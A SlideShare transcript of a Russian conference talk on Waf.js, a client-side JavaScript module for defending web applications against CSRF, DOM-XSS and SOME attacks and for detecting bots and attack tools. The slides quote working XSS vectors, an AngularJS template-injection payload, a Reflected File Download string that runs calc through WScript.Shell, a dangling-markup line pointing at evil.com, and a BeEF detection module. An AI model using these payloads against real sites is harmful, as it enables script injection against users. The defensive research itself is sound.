Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Waf.js: как защищать веб-приложения с использованием JavaScript

761 views

Published on

Ведущие: Денис Колегов и Арсений Реутов

Авторы доклада продемонстрируют, как внедрение клиентских сценариев JavaScript может быть использовано для обнаружения и предотвращения различных атак, поиска уязвимых клиентских компонент, определения утечек данных об инфраструктуре веб-приложений, выявления веб-ботов и инструментальных средств нападения. Поделятся собственными методами обнаружения инъекций при помощи синтаксических анализаторов без сигнатур и фильтрующих регулярных выражений, а также рассмотрят реализацию концепции JavaScript-ловушек на стороне клиента для атак SSRF, IDOR, Command Injection и CSRF.

Published in: Internet
  • Be the first to comment

  • Be the first to like this

Waf.js: как защищать веб-приложения с использованием JavaScript

  1. 1. Waf.js: как защищать веб- приложения с использованием JavaScript ptsecurity.com Арсений Реутов areutov@ptsecurity.com @ru_raz0r Денис Колегов dkolegov@ptsecuriy.com @dnkolegov
  2. 2. 1. Waf.js и его возможности 2. Инструменты разработки 3. Защита приложений в Waf.js 4. Планы развития проекта План ptsecurity.com
  3. 3. Waf.js и его возможности
  4. 4. ptsecurity.com Waf.js 4 Waf.js - механизм многоуровневой защиты PT Application Firewall от атак на клиентской стороне, реализованный в виде набора JavaScript-модулей Основные возможности • Защита от атак CSRF • Защита от атак DOM-XSS • Защита от Reverse Clickjacking/SOME • Обнаружение нежелательного ПО
  5. 5. Инструменты разработки
  6. 6. ptsecurity.com Стек 6 DOMPurify Acorn Esprima / Estools Grunt CasperJS JSCS/ESLint
  7. 7. Защита приложений в Waf.js
  8. 8. Защита от атак CSRF
  9. 9. ptsecurity.com Защита от CSRF 9 Добавление скрытого поля csrf-token • в каждую статическую форму полученного html-документа • в каждую динамически добавляемую форму через MutationObserver Отсутствие ложных срабатываний для различных REST API, работающих c JSON/XML • проверяются только запросы с заголовками Content-Type, соответствующими HTML-формам
  10. 10. ptsecurity.com Защита от CSRF 10 Добавление заголовка X-CSRF-Token к каждому отправляемому запросу средствами AJAX • Переопределяется метод send у объекта XMLHttpRequest через window.XMLHttpRequest.Prototype • Для старых версий IE переопределяются соответствующие методы у популярных библиотек (jQuery, mootools, ExtJS, etc).
  11. 11. Защита от Reverse Clickjacking
  12. 12. ptsecurity.com Защита от Reverse Clickjacking/SOME 12 Атака Reverse Clickjacking/SOME • • Недостаток - контролируемые нарушителем данные попадают без предварительной обработки в контекст вызова функции JavaScript Пример https://ex.com/InCallback/#q=urc_button.click Павел Топорков. Две истории об уязвимостях в сервисах Google Ben Hayak. Same Origin Method Execution
  13. 13. ptsecurity.com Защита от Reverse Clickjacking/SOME 13 function sanitize(s) { if (typeof getProperty(window, s) === 'function') { s = ''; } return s; } Минимальный вариант проверки Возможный вариант на основе _isClobbered в DOMPurify function sanitize(s) { if (typeof getProperty(window, s) !== 'string') { s = ''; } return s; }
  14. 14. Обнаружение нежелательного ПО
  15. 15. ptsecurity.com Нежелательное ПО 15 Виды • Боты: phantomJS-боты, selenium • Эсплоиты: beef, sonar, xbackdoor • Анализ приложений: burp, zap, acunetix, fiddler, dominator Методы обнаружения • Анализ свойств объекта Window • Использование виртуальных имен (burp, zap) • Сканирование портов с помощью <IMG> Alcorn, Frichot, Orru. The Browser Hacker’s Handbook
  16. 16. ptsecurity.com Обнаружение PhantomJS-ботов 16 function detectPhantom(){ if (window.callPhantom || window._phantom) { console.log("PhantomJS environment detected."); } console.log("PhantomJS environment not detected."); } Shape Security. Detecting PhantomJS Based Visitors
  17. 17. ptsecurity.com Обнаружение BeEF 17 function detectBeEF(){ if (window.beef || window.beef_init || window.BeefJS) { console.log("BeEF environment detected."); } else if (window.uagent || window.deviceAndroid) { console.log("BeEF environment in evasion mode detected."); } else { console.log("BeEF environment not detected."); } }
  18. 18. ptsecurity.com Обнаружение Burp в BeEF 18 beef.execute(function() { load_script = function(url) { var s = document.createElement("script"); s.type = 'text/javascript'; s.src = url; document.body.appendChild(s); } get_proxy = function() { try { var response = FindProxyForURL('', ''); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=true&response=" + response); } catch(e) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false"); } } load_script("http://burp/proxy.pac"); setTimeout("get_proxy()", 10000); });
  19. 19. ptsecurity.com Обнаружение Burp в Waf.js 19 function detectBurp(){ var img = new Image(); img.src = 'http://burp/favicon.ico'; img.onload = function() { console.log("Burp environment detected."); }; }
  20. 20. ptsecurity.com Обнаружение Fiddler в Waf.js 20 var timeout = 150; function detectFiddler() { if (!allowInsecureDetectors) { return; } if (window.navigator.platform.substring(0,3) === 'Lin') { return; } var t = new Date().getTime(); var img = new Image(); img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer'; img.onerror = function() { if (new Date().getTime() - t < timeout) { console.log("Fiddler environment detected."); } }; }
  21. 21. Защита от атак DOM-XSS
  22. 22. ptsecurity.com Challenges 22 Реализация на стороне клиента Не можем применять taint-анализ данных, поступающих от пользователя (à la DOMinator) Не знаем контекст, в котором могут оказаться пользовательские данные Множество потенциальных источников, синков и контекстов для выполнения JavaScript Не можем ожидать полной загрузки всех скриптов Важно не только предотвращать, но и обнаруживать атаки
  23. 23. ptsecurity.com Исследования 23 Server-Side XSS Attack Detection with ModSecurity and PhantomJS Precise Client-side Protection against DOM-based Cross-Site Scripting Towards Elimination of XSS Attacks with a Trusted and Capability Controlled DOM (Mario Heiderich)
  24. 24. ptsecurity.com Как обнаружить XSS? 24 Знать где искать – источники, контролируемые нарушителем • location • window.name • storages Знать признаки атаки – возможность изменения дерева разбора в одном из контекстов • HTML/DOM • JavaScript • Attribute • URL
  25. 25. ptsecurity.com Виды XSS 25 XSS HTML/DOM JavaScript Attribute URL Пример <svg/onload=alert(1)> ");alert(1);// " onload="alert(1) javascript:alert(1)
  26. 26. ptsecurity.com Стратегия защиты от DOM-XSS 26 Получить данные Содержат опасный HTML? Содержат опасные элементы JavaScript ? Запретить Разрешить location.pathname location.search location.hash window.name localStorage … document.cookie Да Да Нет Нет
  27. 27. ptsecurity.com Виды XSS 27 XSS HTML/DOM JavaScript Attribute URL Пример <svg/onload=alert(1)> ");alert(1);// " onload="alert(1) javascript:alert(1) Грамматика HTML, JavaScript JavaScript HTML, JavaScript URL, JavaScript
  28. 28. ptsecurity.com DOMPurify 28 "DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG" Адрес проекта https://github.com/cure53/DOMPurify Особенности – Точный механизм – Инструмент для разработчиков – Удаление вредоносного и запрещенного кода из HTML/MathML/SVG – Поддерживает механизм хуков
  29. 29. ptsecurity.com Что может DOMPurify 29 Предотвращать атаки XSS (в том числе для jQuery) var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789'; var policy = {FORBID_TAGS: ['a', 'b']}; var clean = DOMPurify.sanitize(dirty, policy); clean; //123456789 var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>'; var clean = DOMPurify.sanitize(dirty); clean; // "123<a>I am a dolphin too!</a>" var dirty = '<a x="1">123<b>456</b></a>'; var policy = {FORBID_ATTR: ['x']}; var clean = DOMPurify.sanitize(dirty, policy); clean; //"<a>123<b>456</b></a>"
  30. 30. ptsecurity.com Что может DOMPurify 30 Предотвращать атаки DOMClobbering var dirty = '<img src=x name=createElement><img src=y id=createElement>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x"><img src="y">" var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>'; var clean = DOMPurify.sanitize(dirty); clean; // "<form><input>123</form>" var dirty = '<img src=x name=cookie>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x">"
  31. 31. ptsecurity.com Что может DOMPurify 31 Предотвращать атаки на структуру HTML var dirty = '<img src='http://evil.com/log.cgi?'; var clean = DOMPurify.sanitize(dirty); clean;// "" dirty = '<script src=//14.rs a="'; clean = DOMPurify.sanitize(dirty); clean; // "" Dangling markup injection http://lcamtuf.coredump.cx/postxss/ http://blog.innerht.ml/csp-2015/
  32. 32. ptsecurity.com Особенности DOMPurify 32 Изменение входной строки • Изменение порядка атрибутов • Добавление двойных кавычек • Добавление закрывающего тега Если в строке отсутствует символ "<", то DOMPurify ничего не делает /* Input modification */ DOMPurify.sanitize("<svg width=1 height='2'>"); // "<svg height="2" width="1"></svg>" /* DOMPurify does nothing if an input does not contain "<" */ DOMPurify.sanitize("alert(1);"); // "alert(1);//"
  33. 33. ptsecurity.com Что не может DOMPurify 33 Предотвращать JavaScript-инъекции http://ex.com/foo.html#a';alert(1);// var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>"); // dirty = "bar';alert(1);//" // clean = "bar';alert(1);//" <script> var foo = 'a';alert(1);//'<script>
  34. 34. ptsecurity.com Что не может DOMPurify 34 Предотвращать Attribute-based-инъекции http://ex.com/foo.html#' onload='alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<img src='pic.jpg' width='" + width + "px'/>"); // dirty = "' onload='alert(1);" // clean = "' onload='alert(1);" <img src='pic.jpg' width='' onload=alert(1);px'/>");
  35. 35. ptsecurity.com Что не может DOMPurify 35 Предотвращать JavaScript-инъекции в контексте URL http://ex.com/foo.html#javascript:alert(1); var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); document.write("<a href='"+clean+"'>Link</a>"); // dirty = "javascript:alert(1)" // clean = "javascript:alert(1)" <a href='javascript:alert(1)'>Link</a>");
  36. 36. ptsecurity.com Что не может DOMPurify 36 Предотвращать атаки Reverse Clickjacking/SOME http://ex.com/foo.html#delete_button.click var dirty = location.hash.slice(1); var clean = DOMPurify.sanitize(dirty); var url = '/re?q=' + clean + '&callback=' + clean + ''; var s = document.createElement('script'); s.src = url; document.body.appendChild(s); // dirty = "delete_button.click" // clean = "delete_button.click" <script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
  37. 37. ptsecurity.com Адаптация DOMPurify 37 function sanitize(s) { var clean = ''; var purified = DOMPurify.sanitize(s); if (!isMatch(s, purified)) { return clean; } return s; } ε, dompurify(x) ≢ x x, dompurify(x) ≡ x sanitize(x) =
  38. 38. ptsecurity.com Стратегия защиты от DOM-XSS 38 Получить данные isDOMPurified() Содержат опасные элементы JavaScript ? Запретить Разрешить location.pathname location.search location.hash window.name localStorage … document.cookie True Да False Нет
  39. 39. ptsecurity.com Подходы к обнаружению инъекций для WAF 39 Лексический (регулярные выражения) Лексико-сигнатурный • libinjection (Nick Galbreath) Синтаксический • на основе генерации парсеров - libdetection (Wallarm) • на основе адаптации парсеров - Waf.js (Positive Technologies)
  40. 40. ptsecurity.com Предлагаемый подход 40 Разрешать данные, если соответствующий им JavaScript-код не содержит опасных конструкций Использование готовых синтаксических анализаторов (парсеров) JavaScript Подход универсален и может быть использован для обнаружению любых инъекций при наличии соответствующих парсеров Подход эвристический
  41. 41. ptsecurity.com Пример 1 41 http://ex.com/foo.html#11111 var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 11111; <script> Program ExpressionStatement Literal
  42. 42. ptsecurity.com Пример 2 42 http://ex.com/foo.html#1;alert(1); var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal
  43. 43. ptsecurity.com Предлагаемый подход 43 Минимальные требования к парсеру • Написан на JavaScript • Работает в веб-браузере • Высокопроизводительный Кандидаты • Acorn • Esprima
  44. 44. ptsecurity.com Разработка методов обнаружения 44 Этапы • Вычисление контекста • Построение дерева разбора • Поиск вредоносного кода в дереве разбора • Восстановление поиска Методы поиска • в заданных шаблонах • с восстановлением на основе ошибок • с левым приведением (удалением токенов слева) • устойчивые к ошибкам
  45. 45. ptsecurity.com Вычисление контекста 45 Проблема • Дерево разбора для alert(1) содержит узел типа CallExpression • Дерево разбора для ";alert(1);" не содержит узел типа CallExpression Шаблоны поиска var a = "<>"; Вычисление токенов ";alert(1);" – 1 токен ' ";alert(1);" – 1 токен "";alert(1);" – 8 токенов parse(var a = "";alert(1);"") parse("";alert(1);")
  46. 46. ptsecurity.com Построение дерева разбора 46
  47. 47. ptsecurity.com Поиск вредоносного кода в JavaScript 47 Опасные конструкции в простейшем случае задаются перечнем типов узлов ESTree Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов Далее в примерах (для простоты изложения) считается, что список ограничен узлами типа CallExpression
  48. 48. ptsecurity.com Поиск в дереве разбора 48 Что делать когда дерево разбора не может быть построено? ""};alert(1);var f={t:" function sanitize(dirty) { var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree; tree = esprima.parse(dirty); estraverse.traverse(tree, { enter: function(node) { if (node.type === 'CallExpression') { return clean; } } }); return dirty; } Обход дерева (esprima/estraverse)
  49. 49. ptsecurity.com Восстановление поиска 49 Правое приведение (удаление токенов справа) ""};alert(1);var f={t:" ""};alert(1); Эвристически изменять вход парсера на основе информации об ошибках разбора на предыдущем шаге Останавливаться в построении дерева как только обнаружили запрещенные узлы
  50. 50. ptsecurity.com Восстановление поиска 50 function sanitize(dirty) { var acorn = require('acorn'), detected = false, clean = '', tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(payload, {plugins: {detectCallExpression: true}}); if (detected) { return clean; } return dirty; } Возможность изменять методы разбора имеется только у Acorn
  51. 51. ptsecurity.com Идеальный парсер 51 Написан на JavaScript Работает в веб-браузере Высокопроизводительный Соответствует стандартам (ECMAScript, ESTree) Имеет возможность изменять методы разбора Возвращает информацию об ошибках Может работать в режиме толерантности к ошибкам (error-tolerant parser)
  52. 52. ptsecurity.com Методы поиска 52 Этапы • Вычисление контекста • Построение дерева разбора • Поиск вредоносного кода в дереве разбора • Восстановление поиска Методы поиска • в заданных шаблонах • с восстановлением на основе ошибок • с левым приведением (удалением токенов слева) • устойчивые к ошибкам
  53. 53. ptsecurity.com Поиск в шаблонах 53 templates = { var a = <>; var a = ' <> '; var a = {aa: "<>", bb: "bb"} } input = "};alert(1);var f={t:" 1
  54. 54. ptsecurity.com Поиск в шаблонах 54 contexts = { var a = "};alert(1);var f={t:"; var a = ' "};alert(1);var f={t:" '; var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"} } 2
  55. 55. ptsecurity.com Поиск в шаблонах 55 parse(var a = "};alert(1);var f={t:" ;) parse(var a = ' "};alert(1);var f={t:" ';) parse(var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"}) 3
  56. 56. ptsecurity.com Поиск с восстановлением 56 input = "};alert(1);var f={t:" 1
  57. 57. ptsecurity.com Поиск с восстановлением 57 input = "};alert(1);var f={t:" normalized = ""};alert(1);var f={t:" 2
  58. 58. ptsecurity.com Поиск с восстановлением 58 input = "};alert(1);var f={t:" normalized = ""};alert(1);var f={t:" parse(""};alert(1);var f={t:") 3
  59. 59. ptsecurity.com Поиск с восстановлением 59 parse (""};alert(1);var f={t:") 4 Unexpected token (1:2)
  60. 60. ptsecurity.com Поиск с восстановлением 60 parse (;alert(1);var f={t:") 5 Unterminated string constant (1:19)
  61. 61. ptsecurity.com Поиск с восстановлением 61 parse (;alert(1);var f={t:) 6 Unexpected token (1:19)
  62. 62. ptsecurity.com Поиск с восстановлением 62 parse (;alert(1);var f={t) 7 Unexpected token (1:18)
  63. 63. ptsecurity.com Поиск с восстановлением 63 parse (;alert(1);var f={) 8 Unexpected token (1:17)
  64. 64. ptsecurity.com Поиск с восстановлением 64 parse (;alert(1);var f=) 9 Unexpected token (1:16)
  65. 65. ptsecurity.com Поиск с восстановлением 65 parse (;alert(1);var f) 10 Parse tree
  66. 66. ptsecurity.com Метод поиска с левым приведением 66 Вход: строка S, контекст CTX Выход: является ли S инъекцией в контексте CTX? 1. Построить tokens - список JS-токенов s в CTX 2. Построить дерево разбора для S в CTX 3. Если в дереве есть запрещенные узлы, то S – инъекция 4. Иначе удалить из S следующий токен 5. Если s непустое, то перейти на шаг 2
  67. 67. ptsecurity.com Поиск с левым приведением 67 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " 1
  68. 68. ptsecurity.com Поиск с левым приведением 68 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} 2
  69. 69. ptsecurity.com Поиск с левым приведением 69 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ""});alert(1);var f =({t:" parse(ctx): Unexpected token (1:2) 3
  70. 70. ptsecurity.com Поиск с левым приведением 70 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = });alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 4
  71. 71. ptsecurity.com Поиск с левым приведением 71 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = );alert(1);var f =({t:" parse(ctx): Unexpected token (1:0) 5
  72. 72. ptsecurity.com Поиск с левым приведением 72 nodes = {CallExpression} s = "});alert(1);var f=({t:" ctxs = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "} ctx = ;alert(1);var f =({t:" parse(ctx): Program 6
  73. 73. ptsecurity.com Поиск с левым приведением 73 7 Program EmptyStatement ExpressionStatement alert CallExpression … arguments 1 nodes = {CallExpression} ctx = ;alert(1);var f =({t:"
  74. 74. ptsecurity.com Фрагмент кода 74 function sanitize(s){ var clean = ''; var ctxs = ['', '"', '''], ctx, tokens, curToken, detected = false; for (var i = 0, len = ctxs.length; i < len; i++) { ctx = ctxs[i] + s; tokens = getTokens(ctx); curToken = 0; while(ctx.length > 0 && !isInjection) { try { acorn.parse(ctx, plugins: {detectCallExpression: true}}); } catch(e){} if (detected) return clean; ctx = ctx.substring(tokens[curToken].length); curToken +=1; } } return s; }; }
  75. 75. ptsecurity.com Примеры обнаруживаемых векторов 75 javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.sr c%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body. appendChild%28s%29%7D%29%28document.createElement%28%27sc ript%27%29%29 OSX Message XSS Client-side Template Injection with AngularJS Cure53 H5SC Mini Challenge 4 [alert(1)] %22})));alert(1)}catch(e){}// {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
  76. 76. ptsecurity.com Примеры обнаруживаемых векторов 76 http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
  77. 77. ptsecurity.com Толерантность к ошибкам 77 )},{0:prompt(1 Prompt.ml Challenge Hidden Level 4 function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return '<body onload="think.out.of.the.box(' + input + ')">'; } return '<body onload="think.out.of.the.box()},{0:prompt(1)">'; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"
  78. 78. ptsecurity.com Толерантность к ошибкам 78 nodes = {CallExpression} s = )},{0:prompt(1 Program ExpressionStatement SequenceExpression … ObjectExpressionIdentifier CallExpression name: x
  79. 79. ptsecurity.com Стратегия защиты от DOM-XSS 79 Получить данные isDOMPurified() isJSParsed() Запретить Разрешить location.pathname location.search location.hash window.name localStorage … document.cookie True True False False
  80. 80. ptsecurity.com Минимизация ложных срабатываний 80 Расширенная конфигурация • Классы источников • Контексты для источников и отдельных параметров • Запрещенные узлы ESTree Реализация дополнительных проверок в модулях Acorn Предустановленные профили защиты Тестирование
  81. 81. Планы развития проекта
  82. 82. ptsecurity.com План развития 82 Подпись AJAX-запросов на клиентской стороне Защита от перенаправления через opener Защита от фишинговых атак Предупреждение пользователей о Self-XSS
  83. 83. Спасибо! Waf.js ptsecurity.com Арсений Реутов areutov@ptsecurity.com @ru_raz0r Денис Колегов dkolegov@ptsecuriy.com @dnkolegov

×